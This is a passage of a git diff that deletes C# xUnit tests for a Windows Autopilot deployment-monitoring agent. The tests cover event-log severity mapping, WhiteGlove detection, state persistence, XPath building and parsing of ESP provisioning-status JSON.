(int)e.Data["eventId"] == 100 && e.Severity == EventSeverity.Warning); - Assert.Contains(events, e => e.Data != null && (int)e.Data["eventId"] == 4242 && e.Severity == EventSeverity.Debug); - } - - [Fact] - public void ProcessEvent_UnlistedHighLevelEvent_RemainsAsError() - { - var tracker = CreateTracker(); - - // 999 not in the default harmless list → Level 2 stays Error - tracker.ProcessEvent(999, 2, "Error", "prov", DateTime.UtcNow, "msg", - "Autopilot", ModernDeploymentTracker.AutopilotChannel, false); - - var evt = Assert.Single(GetCaptured()); - Assert.Equal(Constants.EventTypes.ModernDeploymentError, evt.EventType); - Assert.Equal(EventSeverity.Error, evt.Severity); - } - - // ========== Message payload shape ========== - - [Fact] - public void ProcessEvent_EmptyDescription_UsesFallback() - { - var tracker = CreateTracker(); - - tracker.ProcessEvent(999, 4, "Information", "prov", DateTime.UtcNow, null, - "Autopilot", ModernDeploymentTracker.AutopilotChannel, false); - - var evt = Assert.Single(GetCaptured()); - Assert.Contains("EventID 999", evt.Message); - Assert.Contains("no formatted description", evt.Message); - } - - [Fact] - public void ProcessEvent_LongDescription_TruncatedTo1000Chars() - { - var tracker = CreateTracker(); - var longDesc = new string('x', 1500); - - tracker.ProcessEvent(42, 4, "Information", "prov", DateTime.UtcNow, longDesc, - "Autopilot", ModernDeploymentTracker.AutopilotChannel, false); - - var evt = Assert.Single(GetCaptured()); - // Message prefix "[Autopilot] EventID 42: " + 1000 chars + "…" - Assert.True(evt.Message.Length <= 2000); - Assert.EndsWith("…", evt.Message); - } - - [Fact] - public void ProcessEvent_DataDictionaryContainsAllExpectedKeys() - { - var tracker = CreateTracker(); - var ts = new DateTime(2026, 4, 14, 10, 0, 0, DateTimeKind.Utc); - - tracker.ProcessEvent(42, 3, "Warning", "MyProvider", ts, "hello", - "ManagementService", ModernDeploymentTracker.ManagementChannel, isBackfill: true); - - var evt = Assert.Single(GetCaptured()); - Assert.Equal("ManagementService", evt.Data["channel"]); - Assert.Equal(ModernDeploymentTracker.ManagementChannel, evt.Data["channelFullName"]); - Assert.Equal(42, evt.Data["eventId"]); - Assert.Equal(3, evt.Data["level"]); - Assert.Equal("Warning", evt.Data["levelName"]); - Assert.Equal("MyProvider", evt.Data["providerName"]); - Assert.Equal(true, evt.Data["backfilled"]); - } - - // ========== WhiteGlove Event 509 handling ========== - - [Fact] - public void ProcessEvent_WhiteGloveStart_FromManagementService_EmitsWhiteGloveStartedEvent() - { - var tracker = CreateTracker(_tempDir); - - tracker.ProcessEvent( - ModernDeploymentTracker.EventId_WhiteGloveStart, 4, "Information", "prov", - DateTime.UtcNow, - "AutopilotManager enabled TPM requirement due to WhiteGlove policy value 1", - "ManagementService", ModernDeploymentTracker.ManagementChannel, isBackfill: false); - - var evt = Assert.Single(GetCaptured()); - Assert.Equal("whiteglove_started", evt.EventType); - Assert.Equal(EventSeverity.Info, evt.Severity); - Assert.True(evt.ImmediateUpload); - Assert.True(tracker.IsWhiteGloveStartDetected); - } - - [Fact] - public void ProcessEvent_WhiteGloveStart_FromAutopilotChannel_TreatedAsRegularLog() - { - // Event 509 is only treated as WhiteGlove when it comes from ManagementService. - // The Autopilot channel may emit event 509 for other purposes → fall through to - // the generic level-based mapping. - var tracker = CreateTracker(_tempDir); - - tracker.ProcessEvent( - ModernDeploymentTracker.EventId_WhiteGloveStart, 4, "Information", "prov", - DateTime.UtcNow, "AutopilotManager WhiteGlove whatever", - "Autopilot", ModernDeploymentTracker.AutopilotChannel, isBackfill: false); - - var evt = Assert.Single(GetCaptured()); - Assert.Equal(Constants.EventTypes.ModernDeploymentLog, evt.EventType); - Assert.False(tracker.IsWhiteGloveStartDetected); - } - - [Fact] - public void ProcessEvent_WhiteGloveEvent509_WithoutWhiteGloveKeyword_Ignored() - { - // Guard against future reuse of Event 509 for unrelated purposes. - var tracker = CreateTracker(_tempDir); - - tracker.ProcessEvent( - ModernDeploymentTracker.EventId_WhiteGloveStart, 4, "Information", "prov", - DateTime.UtcNow, "Some unrelated message", - "ManagementService", ModernDeploymentTracker.ManagementChannel, isBackfill: false); - - Assert.Empty(GetCaptured()); - Assert.False(tracker.IsWhiteGloveStartDetected); - } - - [Fact] - public void ProcessEvent_WhiteGloveStart_FireOnce_DuplicatesSuppressed() - { - var tracker = CreateTracker(_tempDir); - var desc = "AutopilotManager enabled TPM requirement due to WhiteGlove policy value 1"; - - tracker.ProcessEvent( - ModernDeploymentTracker.EventId_WhiteGloveStart, 4, "Information", "prov", - DateTime.UtcNow, desc, - "ManagementService", ModernDeploymentTracker.ManagementChannel, false); - tracker.ProcessEvent( - ModernDeploymentTracker.EventId_WhiteGloveStart, 4, "Information", "prov", - DateTime.UtcNow.AddSeconds(5), desc, - "ManagementService", ModernDeploymentTracker.ManagementChannel, false); - - Assert.Single(GetCaptured()); - } - - [Fact] - public void ProcessEvent_WhiteGloveStart_PersistsStateToDisk() - { - var tracker = CreateTracker(_tempDir); - var eventTime = new DateTime(2026, 4, 14, 9, 30, 0, DateTimeKind.Utc); - - tracker.ProcessEvent( - ModernDeploymentTracker.EventId_WhiteGloveStart, 4, "Information", "prov", - eventTime, - "AutopilotManager enabled TPM requirement due to WhiteGlove policy value 1", - "ManagementService", ModernDeploymentTracker.ManagementChannel, false); - - var statePath = Path.Combine(_tempDir, ModernDeploymentTracker.WhiteGloveBackfillStateFileName); - Assert.True(File.Exists(statePath)); - var state = JsonConvert.DeserializeObject(File.ReadAllText(statePath)); - Assert.True(state.WhiteGloveStartSeen); - Assert.Equal(eventTime, state.SeenUtc); - } - - [Fact] - public void LoadWhiteGloveBackfillState_NoStateDirectory_ReturnsNull() - { - var tracker = CreateTracker(stateDirectory: null); - Assert.Null(tracker.LoadWhiteGloveBackfillState()); - } - - [Fact] - public void LoadWhiteGloveBackfillState_NoFile_ReturnsNull() - { - var tracker = CreateTracker(_tempDir); - Assert.Null(tracker.LoadWhiteGloveBackfillState()); - } - - [Fact] - public void LoadWhiteGloveBackfillState_CorruptFile_ReturnsNullAndDoesNotThrow() - { - var tracker = CreateTracker(_tempDir); - var statePath = Path.Combine(_tempDir, ModernDeploymentTracker.WhiteGloveBackfillStateFileName); - File.WriteAllText(statePath, "{not valid json"); - - Assert.Null(tracker.LoadWhiteGloveBackfillState()); - } - - [Fact] - public void LoadWhiteGloveBackfillState_RoundTrip_PreservesFlagAndTimestamps() - { - var tracker = CreateTracker(_tempDir); - var eventTime = new DateTime(2026, 4, 14, 9, 30, 0, DateTimeKind.Utc); - - tracker.PersistWhiteGloveBackfillState(eventTime); - var loaded = tracker.LoadWhiteGloveBackfillState(); - - Assert.NotNull(loaded); - Assert.True(loaded.WhiteGloveStartSeen); - Assert.Equal(eventTime, loaded.SeenUtc); - } - - // ========== XPath builder ========== - - [Fact] - public void BuildXPath_NoTargetedIds_UsesLevelFilterOnly() - { - var xpath = ModernDeploymentTracker.BuildXPath(3, null); - Assert.Contains("Level=0 or (Level >= 1 and Level <= 3)", xpath); - Assert.DoesNotContain("EventID=", xpath); - } - - [Fact] - public void BuildXPath_WithTargetedIds_IncludesOrClause() - { - var xpath = ModernDeploymentTracker.BuildXPath(3, new HashSet { 509 }); - Assert.Contains("Level=0 or (Level >= 1 and Level <= 3)", xpath); - Assert.Contains("EventID=509", xpath); - } - - [Fact] - public void BuildXPath_LevelClampedToWindowsRange() - { - Assert.Contains("Level <= 1", ModernDeploymentTracker.BuildXPath(0, null)); - Assert.Contains("Level <= 5", ModernDeploymentTracker.BuildXPath(99, null)); - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Collectors/ProvisioningStatusTrackerTests.cs b/src/Agent/AutopilotMonitor.Agent.Core.Tests/Collectors/ProvisioningStatusTrackerTests.cs deleted file mode 100644 index 0ee14145..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Collectors/ProvisioningStatusTrackerTests.cs +++ /dev/null @@ -1,529 +0,0 @@ -using System; -using System.Collections.Concurrent; -using System.Collections.Generic; -using System.Linq; -using System.Text.Json; -using AutopilotMonitor.Agent.Core.Tests.Helpers; -using AutopilotMonitor.Shared; -using AutopilotMonitor.Shared.Models; -using Xunit; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion; - -namespace AutopilotMonitor.Agent.Core.Tests.Collectors -{ - /// - /// Tests for . Drives category-status processing via - /// ProcessCategoryStatusForTest with synthetic JSON payloads to exercise first-seen, - /// subcategory transitions, categorySucceeded resolution, failure escalation, DeviceSetup - /// completion event, and snapshot APIs. Registry / RegistryWatcher are NOT invoked. - /// - public sealed class ProvisioningStatusTrackerTests - { - private readonly ConcurrentBag _captured = new ConcurrentBag(); - private readonly List _espFailures = new List(); - private int _deviceSetupCompleteCount; - - private ProvisioningStatusTracker CreateTracker() - { - var t = new ProvisioningStatusTracker( - sessionId: "sess-1", - tenantId: "tenant-1", - onEventCollected: e => _captured.Add(e), - logger: TestLogger.Instance); - t.EspFailureDetected += (_, ft) => _espFailures.Add(ft); - t.DeviceSetupProvisioningComplete += (_, __) => System.Threading.Interlocked.Increment(ref _deviceSetupCompleteCount); - return t; - } - - private List OfType(string eventType) => - _captured.ToList().Where(e => e.EventType == eventType).ToList(); - - // ===================================================================== - // ProcessCategoryStatus — first-seen + resolved-to-success - // ===================================================================== - - [Fact] - public void ProcessCategoryStatus_FirstSeen_EmitsStatusAndRawDump() - { - var t = CreateTracker(); - var json = @"{""categorySucceeded"":null,""CertificatesSubcategory"":{""subcategoryState"":""in_progress"",""subcategoryStatusText"":""working""}}"; - - var result = t.ProcessCategoryStatusForTest("DeviceSetupCategory.Status", json); - - Assert.False(result.IsFailed); - Assert.NotEmpty(OfType(Constants.EventTypes.EspProvisioningStatus)); - Assert.NotEmpty(OfType("esp_provisioning_raw")); - var raw = OfType("esp_provisioning_raw").Single(); - Assert.Equal("first_seen", raw.Data["trigger"]); - } - - [Fact] - public void ProcessCategoryStatus_ResolvesToSuccess_EmitsResolvedEventAndRaw() - { - var t = CreateTracker(); - var initial = @"{""categorySucceeded"":null,""CertificatesSubcategory"":{""subcategoryState"":""in_progress"",""subcategoryStatusText"":""...""}}"; - var resolved = @"{""categorySucceeded"":true,""CertificatesSubcategory"":{""subcategoryState"":""succeeded"",""subcategoryStatusText"":""done""}}"; - - t.ProcessCategoryStatusForTest("DeviceSetupCategory.Status", initial); - t.ProcessCategoryStatusForTest("DeviceSetupCategory.Status", resolved); - - var raws = OfType("esp_provisioning_raw"); - Assert.Equal(2, raws.Count); - Assert.Contains(raws, r => (string)r.Data["trigger"] == "first_seen"); - Assert.Contains(raws, r => (string)r.Data["trigger"] == "category_resolved_success"); - } - - [Fact] - public void ProcessCategoryStatus_ResolvesToFailure_FiresEspFailureDetected() - { - var t = CreateTracker(); - var failed = @"{""categorySucceeded"":false,""CertificatesSubcategory"":{""subcategoryState"":""failed"",""subcategoryStatusText"":""err""}}"; - - var result = t.ProcessCategoryStatusForTest("AccountSetupCategory.Status", failed); - - Assert.True(result.IsFailed); - Assert.Contains("Provisioning_AccountSetup_Certificates_Failed", result.FailureType); - } - - [Fact] - public void ProcessCategoryStatus_SubcategoryFailureBeforeCategorySucceededResolves_AlsoEscalates() - { - // Timeout scenario: categorySucceeded still null, but a subcategory already failed. - var t = CreateTracker(); - var partialFailure = @"{""CertificatesSubcategory"":{""subcategoryState"":""failed"",""subcategoryStatusText"":""err""}}"; - - var result = t.ProcessCategoryStatusForTest("DeviceSetupCategory.Status", partialFailure); - - Assert.True(result.IsFailed); - Assert.Equal("Provisioning_DeviceSetup_Certificates_Failed", result.FailureType); - } - - [Fact] - public void ProcessCategoryStatus_SameFailureTwice_FireOnceGuard() - { - var t = CreateTracker(); - var failed = @"{""categorySucceeded"":false,""AppsSubcategory"":{""subcategoryState"":""failed"",""subcategoryStatusText"":""err""}}"; - var failed2 = @"{""categorySucceeded"":false,""AppsSubcategory"":{""subcategoryState"":""failed"",""subcategoryStatusText"":""err - refresh""}}"; - - t.ProcessCategoryStatusForTest("AccountSetupCategory.Status", failed); - var secondResult = t.ProcessCategoryStatusForTest("AccountSetupCategory.Status", failed2); - - Assert.False(secondResult.IsFailed); // Fire-once guard in TryFireProvisioningFailure - } - - // ===================================================================== - // Flat (string) subcategory format — legacy Windows versions - // ===================================================================== - - [Fact] - public void ParseSubcategories_FlatStringFormat_InferredFromText() - { - var json = @"{""CertificatesSubcategory"":""Certificates (1 of 1 applied)""}"; - using var doc = JsonDocument.Parse(json); - var subs = ProvisioningStatusTracker.ParseSubcategories(doc.RootElement); - - Assert.Single(subs); - Assert.Equal("Certificates", subs[0].Name); - Assert.Equal("succeeded", subs[0].State); - } - - [Fact] - public void ParseSubcategories_NestedObjectFormat_UsesExplicitState() - { - var json = @"{""AppsSubcategory"":{""subcategoryState"":""in_progress"",""subcategoryStatusText"":""2 of 5""}}"; - using var doc = JsonDocument.Parse(json); - var subs = ProvisioningStatusTracker.ParseSubcategories(doc.RootElement); - - Assert.Single(subs); - Assert.Equal("Apps", subs[0].Name); - Assert.Equal("in_progress", subs[0].State); - Assert.Equal("2 of 5", subs[0].StatusText); - } - - [Fact] - public void ParseSubcategories_DottedName_CleanedToSuffix() - { - var json = @"{""AccountSetup.CertificatesSubcategory"":{""subcategoryState"":""succeeded"",""subcategoryStatusText"":""done""}}"; - using var doc = JsonDocument.Parse(json); - var subs = ProvisioningStatusTracker.ParseSubcategories(doc.RootElement); - - Assert.Single(subs); - Assert.Equal("Certificates", subs[0].Name); - } - - [Fact] - public void ParseSubcategories_IgnoresNonSubcategoryProperties() - { - var json = @"{""categorySucceeded"":true,""CertificatesSubcategory"":""done""}"; - using var doc = JsonDocument.Parse(json); - var subs = ProvisioningStatusTracker.ParseSubcategories(doc.RootElement); - - Assert.Single(subs); - Assert.Equal("Certificates", subs[0].Name); - } - - // ===================================================================== - // State inference from flat text - // ===================================================================== - - [Theory] - [InlineData("Complete", "succeeded")] - [InlineData("Certificates (1 of 1 applied)", "succeeded")] - [InlineData("Apps installed", "succeeded")] - [InlineData("No setup needed", "succeeded")] - [InlineData("Error during install", "failed")] - [InlineData("Registration Failed", "failed")] - [InlineData("Working on it", "in_progress")] - [InlineData("", "unknown")] - public void InferStateFromText_RecognizesCommonPatterns(string text, string expected) - { - Assert.Equal(expected, ProvisioningStatusTracker.InferStateFromText(text)); - } - - // ===================================================================== - // SafeGetBool / SafeGetString - // ===================================================================== - - [Fact] - public void SafeGetBool_TrueFalseNullStringUnknown() - { - using var doc = JsonDocument.Parse(@"{""t"":true,""f"":false,""s"":""true"",""n"":null,""num"":42}"); - var root = doc.RootElement; - Assert.True(ProvisioningStatusTracker.SafeGetBool(root, "t")); - Assert.False(ProvisioningStatusTracker.SafeGetBool(root, "f")); - Assert.True(ProvisioningStatusTracker.SafeGetBool(root, "s")); - Assert.Null(ProvisioningStatusTracker.SafeGetBool(root, "n")); - Assert.Null(ProvisioningStatusTracker.SafeGetBool(root, "num")); - Assert.Null(ProvisioningStatusTracker.SafeGetBool(root, "missing")); - } - - [Fact] - public void SafeGetString_ReturnsStringOrNull() - { - using var doc = JsonDocument.Parse(@"{""s"":""hello"",""num"":1,""missing_key"":null}"); - var root = doc.RootElement; - Assert.Equal("hello", ProvisioningStatusTracker.SafeGetString(root, "s")); - Assert.Null(ProvisioningStatusTracker.SafeGetString(root, "num")); - Assert.Null(ProvisioningStatusTracker.SafeGetString(root, "missing_key")); - Assert.Null(ProvisioningStatusTracker.SafeGetString(root, "totally_absent")); - } - - // ===================================================================== - // BuildProgressSummary - // ===================================================================== - - [Fact] - public void BuildProgressSummary_WithNoSubs_ReturnsInProgress() - { - Assert.Equal("In progress", - ProvisioningStatusTracker.BuildProgressSummary(new List())); - } - - [Fact] - public void BuildProgressSummary_WithFailures_ReportsFailures() - { - var subs = new List - { - new ProvisioningStatusTracker.SubcategoryInfo { Name = "A", State = "succeeded" }, - new ProvisioningStatusTracker.SubcategoryInfo { Name = "B", State = "failed" }, - new ProvisioningStatusTracker.SubcategoryInfo { Name = "C", State = "in_progress" }, - }; - - Assert.Equal("1 of 3 subcategories failed", - ProvisioningStatusTracker.BuildProgressSummary(subs)); - } - - [Fact] - public void BuildProgressSummary_NoFailures_ReportsCompletion() - { - var subs = new List - { - new ProvisioningStatusTracker.SubcategoryInfo { Name = "A", State = "succeeded" }, - new ProvisioningStatusTracker.SubcategoryInfo { Name = "B", State = "notRequired" }, - new ProvisioningStatusTracker.SubcategoryInfo { Name = "C", State = "in_progress" }, - }; - - Assert.Equal("2 of 3 subcategories completed", - ProvisioningStatusTracker.BuildProgressSummary(subs)); - } - - // ===================================================================== - // Snapshots + state properties - // ===================================================================== - - [Fact] - public void GetProvisioningSnapshot_BeforeAnyData_ReturnsNull() - { - var t = CreateTracker(); - Assert.Null(t.GetProvisioningSnapshot()); - } - - [Fact] - public void GetProvisioningSnapshot_AfterSuccess_ReflectsResolved() - { - var t = CreateTracker(); - var succeeded = @"{""categorySucceeded"":true,""CertificatesSubcategory"":{""subcategoryState"":""succeeded"",""subcategoryStatusText"":""done""}}"; - t.ProcessCategoryStatusForTest("DeviceSetupCategory.Status", succeeded); - - var snap = t.GetProvisioningSnapshot(); - Assert.NotNull(snap); - Assert.Equal("success", snap.CategoryOutcomes["DeviceSetup"]); - Assert.Equal(1, snap.CategoriesSeen); - Assert.Equal(1, snap.CategoriesResolved); - Assert.True(snap.AllResolved); - } - - [Fact] - public void GetProvisioningCategorySnapshot_ReflectsCategorySucceededMap() - { - var t = CreateTracker(); - var succeeded = @"{""categorySucceeded"":true,""X"":{""subcategoryState"":""succeeded"",""subcategoryStatusText"":""""}}"; - var inProgress = @"{""categorySucceeded"":null,""Y"":{""subcategoryState"":""in_progress"",""subcategoryStatusText"":""""}}"; - t.ProcessCategoryStatusForTest("DeviceSetupCategory.Status", succeeded); - t.ProcessCategoryStatusForTest("AccountSetupCategory.Status", inProgress); - - var snap = t.GetProvisioningCategorySnapshot(); - Assert.Equal(true, snap["DeviceSetupCategory.Status"]); - Assert.Null(snap["AccountSetupCategory.Status"]); - } - - [Fact] - public void DeviceSetupCategorySucceeded_ReflectsResolvedSuccess() - { - var t = CreateTracker(); - Assert.False(t.DeviceSetupCategorySucceeded); - - t.ProcessCategoryStatusForTest( - "DeviceSetupCategory.Status", - @"{""categorySucceeded"":true,""S"":{""subcategoryState"":""succeeded"",""subcategoryStatusText"":""""}}"); - - Assert.True(t.DeviceSetupCategorySucceeded); - } - - [Fact] - public void HasAccountSetupActivity_TrueAfterAccountSetupSeen() - { - var t = CreateTracker(); - Assert.False(t.HasAccountSetupActivity); - - t.ProcessCategoryStatusForTest( - "AccountSetupCategory.Status", - @"{""AppsSubcategory"":{""subcategoryState"":""in_progress"",""subcategoryStatusText"":""""}}"); - - Assert.True(t.HasAccountSetupActivity); - } - - [Fact] - public void FindFailedSubcategory_ReturnsFirstFailedName() - { - var subs = new List - { - new ProvisioningStatusTracker.SubcategoryInfo { Name = "A", State = "succeeded" }, - new ProvisioningStatusTracker.SubcategoryInfo { Name = "B", State = "failed" }, - new ProvisioningStatusTracker.SubcategoryInfo { Name = "C", State = "failed" }, - }; - Assert.Equal("B", ProvisioningStatusTracker.FindFailedSubcategory(subs)); - - var none = new List - { - new ProvisioningStatusTracker.SubcategoryInfo { Name = "A", State = "succeeded" }, - }; - Assert.Null(ProvisioningStatusTracker.FindFailedSubcategory(none)); - } - - // ===================================================================== - // Subcategory transitions (noise filtering) - // ===================================================================== - - [Fact] - public void ProcessCategoryStatus_NotStartedToInProgress_IsNoise_NoTransitionEventEmitted() - { - var t = CreateTracker(); - var initial = @"{""AppsSubcategory"":{""subcategoryState"":""notStarted"",""subcategoryStatusText"":""""}}"; - var progress = @"{""AppsSubcategory"":{""subcategoryState"":""in_progress"",""subcategoryStatusText"":""go""}}"; - - t.ProcessCategoryStatusForTest("AccountSetupCategory.Status", initial); - t.ProcessCategoryStatusForTest("AccountSetupCategory.Status", progress); - - // Progress event still emitted (JSON changed) but NO event should carry a - // subcategory_state_change transition (notStarted → in_progress is filtered as noise). - var all = OfType(Constants.EventTypes.EspProvisioningStatus); - Assert.DoesNotContain(all, e => e.Data.ContainsKey("transitions")); - } - - [Fact] - public void ProcessCategoryStatus_InProgressToSucceeded_EmitsTransitionEvent() - { - var t = CreateTracker(); - var initial = @"{""AppsSubcategory"":{""subcategoryState"":""in_progress"",""subcategoryStatusText"":""""}}"; - var done = @"{""AppsSubcategory"":{""subcategoryState"":""succeeded"",""subcategoryStatusText"":""""}}"; - - t.ProcessCategoryStatusForTest("AccountSetupCategory.Status", initial); - t.ProcessCategoryStatusForTest("AccountSetupCategory.Status", done); - - // At least one of the emitted status events must carry the transition payload. - var withTransitions = OfType(Constants.EventTypes.EspProvisioningStatus) - .Where(e => e.Data.ContainsKey("transitions")) - .ToList(); - Assert.Single(withTransitions); - Assert.Equal("subcategory_state_change", withTransitions[0].Data["changeType"]); - } - - // ===================================================================== - // SaveWhiteGloveSuccessResult detection - // ===================================================================== - - [Fact] - public void ProcessCategoryStatus_DeviceSetup_WithSaveWhiteGloveSuccessResult_SetsFlag() - { - var t = CreateTracker(); - // Simulates the exact JSON structure from a real WhiteGlove DeviceSetup registry - var json = @"{ - ""categoryState"":""succeeded"", - ""DeviceSetup.SecurityPoliciesSubcategory"":{""subcategoryState"":""succeeded"",""subcategoryStatusText"":""ok""}, - ""DeviceSetup.AppsSubcategory"":{""subcategoryState"":""succeeded"",""subcategoryStatusText"":""ok""}, - ""DeviceSetup.SaveWhiteGloveSuccessResult"":{""subcategoryState"":""succeeded"",""subcategoryStatusText"":""succeeded""}, - ""categoryStatusText"":""Complete"" - }"; - - Assert.False(t.HasSaveWhiteGloveSuccessResult); - t.ProcessCategoryStatusForTest("DeviceSetupCategory.Status", json); - Assert.True(t.HasSaveWhiteGloveSuccessResult); - } - - [Fact] - public void ProcessCategoryStatus_DeviceSetup_WithoutSaveWhiteGloveSuccessResult_FlagStaysFalse() - { - var t = CreateTracker(); - // Normal (non-WhiteGlove) DeviceSetup — no SaveWhiteGloveSuccessResult property - var json = @"{ - ""categoryState"":""succeeded"", - ""DeviceSetup.SecurityPoliciesSubcategory"":{""subcategoryState"":""succeeded"",""subcategoryStatusText"":""ok""}, - ""DeviceSetup.AppsSubcategory"":{""subcategoryState"":""succeeded"",""subcategoryStatusText"":""ok""}, - ""categoryStatusText"":""Complete"" - }"; - - t.ProcessCategoryStatusForTest("DeviceSetupCategory.Status", json); - Assert.False(t.HasSaveWhiteGloveSuccessResult); - } - - [Fact] - public void ProcessCategoryStatus_AccountSetup_WithSaveWhiteGloveSuccessResult_Ignored() - { - var t = CreateTracker(); - // SaveWhiteGloveSuccessResult in AccountSetup should be ignored (only DeviceSetup matters) - var json = @"{ - ""categoryState"":""succeeded"", - ""AccountSetup.SaveWhiteGloveSuccessResult"":{""subcategoryState"":""succeeded"",""subcategoryStatusText"":""succeeded""}, - ""categoryStatusText"":""Complete"" - }"; - - t.ProcessCategoryStatusForTest("AccountSetupCategory.Status", json); - Assert.False(t.HasSaveWhiteGloveSuccessResult); - } - - [Fact] - public void ProcessCategoryStatus_DeviceSetup_SaveWhiteGloveNotSucceeded_FlagStaysFalse() - { - var t = CreateTracker(); - var json = @"{ - ""categoryState"":""inProgress"", - ""DeviceSetup.SecurityPoliciesSubcategory"":{""subcategoryState"":""succeeded"",""subcategoryStatusText"":""ok""}, - ""DeviceSetup.SaveWhiteGloveSuccessResult"":{""subcategoryState"":""inProgress"",""subcategoryStatusText"":""working""}, - ""categoryStatusText"":""working"" - }"; - - t.ProcessCategoryStatusForTest("DeviceSetupCategory.Status", json); - Assert.False(t.HasSaveWhiteGloveSuccessResult); - } - - [Fact] - public void ProcessCategoryStatus_DeviceSetup_WhiteGloveStateTransition_EmitsRawDumpForEachChange() - { - var t = CreateTracker(); - - // Poll 1: SaveWhiteGloveSuccessResult=notStarted - var jsonNotStarted = @"{ - ""categoryState"":""inProgress"", - ""DeviceSetup.SecurityPoliciesSubcategory"":{""subcategoryState"":""succeeded"",""subcategoryStatusText"":""ok""}, - ""DeviceSetup.SaveWhiteGloveSuccessResult"":{""subcategoryState"":""notStarted""}, - ""categoryStatusText"":""working"" - }"; - - t.ProcessCategoryStatusForTest("DeviceSetupCategory.Status", jsonNotStarted); - - // Should emit raw dump for first WG state observation - var raws = OfType("esp_provisioning_raw"); - var wgRaws = raws.Where(e => e.Message.Contains("whiteglove_signal_")).ToList(); - Assert.Single(wgRaws); - Assert.Contains("whiteglove_signal_notStarted", wgRaws[0].Message); - Assert.False(t.HasSaveWhiteGloveSuccessResult); - - // Poll 2: SaveWhiteGloveSuccessResult=succeeded - var jsonSucceeded = @"{ - ""categoryState"":""succeeded"", - ""DeviceSetup.SecurityPoliciesSubcategory"":{""subcategoryState"":""succeeded"",""subcategoryStatusText"":""ok""}, - ""DeviceSetup.SaveWhiteGloveSuccessResult"":{""subcategoryState"":""succeeded"",""subcategoryStatusText"":""succeeded""}, - ""categoryStatusText"":""Complete"" - }"; - - t.ProcessCategoryStatusForTest("DeviceSetupCategory.Status", jsonSucceeded); - - // Should now have 2 WG raw dumps (ConcurrentBag has no guaranteed order) - raws = OfType("esp_provisioning_raw"); - wgRaws = raws.Where(e => e.Message.Contains("whiteglove_signal_")).ToList(); - Assert.Equal(2, wgRaws.Count); - Assert.Single(wgRaws, e => e.Message.Contains("whiteglove_signal_notStarted")); - Assert.Single(wgRaws, e => e.Message.Contains("whiteglove_signal_succeeded")); - Assert.True(t.HasSaveWhiteGloveSuccessResult); - } - - [Fact] - public void ProcessCategoryStatus_DeviceSetup_WhiteGloveStateSame_NoDuplicateRawDump() - { - var t = CreateTracker(); - - var json = @"{ - ""categoryState"":""inProgress"", - ""DeviceSetup.SecurityPoliciesSubcategory"":{""subcategoryState"":""succeeded"",""subcategoryStatusText"":""ok""}, - ""DeviceSetup.SaveWhiteGloveSuccessResult"":{""subcategoryState"":""notStarted""}, - ""categoryStatusText"":""working"" - }"; - - // Same JSON twice — should only emit WG raw dump once - t.ProcessCategoryStatusForTest("DeviceSetupCategory.Status", json); - t.ProcessCategoryStatusForTest("DeviceSetupCategory.Status", json); - - var raws = OfType("esp_provisioning_raw"); - var wgRaws = raws.Where(e => e.Message.Contains("whiteglove_signal_")).ToList(); - Assert.Single(wgRaws); - Assert.False(t.HasSaveWhiteGloveSuccessResult); - } - - [Fact] - public void ProcessCategoryStatus_DeviceSetup_WhiteGloveStaysNotStarted_FlagNeverSet() - { - var t = CreateTracker(); - - var json = @"{ - ""categoryState"":""succeeded"", - ""DeviceSetup.SecurityPoliciesSubcategory"":{""subcategoryState"":""succeeded"",""subcategoryStatusText"":""ok""}, - ""DeviceSetup.SaveWhiteGloveSuccessResult"":{""subcategoryState"":""notStarted""}, - ""categoryStatusText"":""Complete"" - }"; - - t.ProcessCategoryStatusForTest("DeviceSetupCategory.Status", json); - - // Raw dump emitted (for observability), but flag stays false - var wgRaws = OfType("esp_provisioning_raw") - .Where(e => e.Message.Contains("whiteglove_signal_")).ToList(); - Assert.Single(wgRaws); - Assert.Contains("whiteglove_signal_notStarted", wgRaws[0].Message); - Assert.False(t.HasSaveWhiteGloveSuccessResult); - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Collectors/ShellCoreTrackerTests.cs b/src/Agent/AutopilotMonitor.Agent.Core.Tests/Collectors/ShellCoreTrackerTests.cs deleted file mode 100644 index 1c3dbfb6..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Collectors/ShellCoreTrackerTests.cs +++ /dev/null @@ -1,296 +0,0 @@ -using System; -using System.Collections.Concurrent; -using System.Collections.Generic; -using System.Linq; -using AutopilotMonitor.Agent.Core.Tests.Helpers; -using AutopilotMonitor.Shared.Models; -using Xunit; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion; - -namespace AutopilotMonitor.Agent.Core.Tests.Collectors -{ - /// - /// Tests for . Drives the ProcessEvent pipeline directly - /// (EventLogWatcher is Windows-only) and verifies failure classification, WhiteGlove - /// fire-once, Hello wizard cross-notification, and ESP exit backfill dedup. - /// - public sealed class ShellCoreTrackerTests - { - private readonly ConcurrentBag _captured = new ConcurrentBag(); - private readonly List _finalizingReasons = new List(); - private int _whiteGloveCompletedCount; - private readonly List _espFailures = new List(); - - private ShellCoreTracker CreateTracker(HelloTracker helloTracker = null) - { - var t = new ShellCoreTracker( - sessionId: "sess-1", - tenantId: "tenant-1", - onEventCollected: e => _captured.Add(e), - logger: TestLogger.Instance, - helloTracker: helloTracker); - t.FinalizingSetupPhaseTriggered += (_, reason) => _finalizingReasons.Add(reason); - t.WhiteGloveCompleted += (_, __) => System.Threading.Interlocked.Increment(ref _whiteGloveCompletedCount); - t.EspFailureDetected += (_, ft) => _espFailures.Add(ft); - return t; - } - - private HelloTracker CreateHelloTracker() => - new HelloTracker("sess-1", "tenant-1", _ => { }, TestLogger.Instance, helloWaitTimeoutSeconds: 30); - - private EnrollmentEvent Last(string eventType) => - _captured.ToList().LastOrDefault(e => e.EventType == eventType); - - // ===================================================================== - // Event 62404 — Hello wizard start - // ===================================================================== - - [Fact] - public void 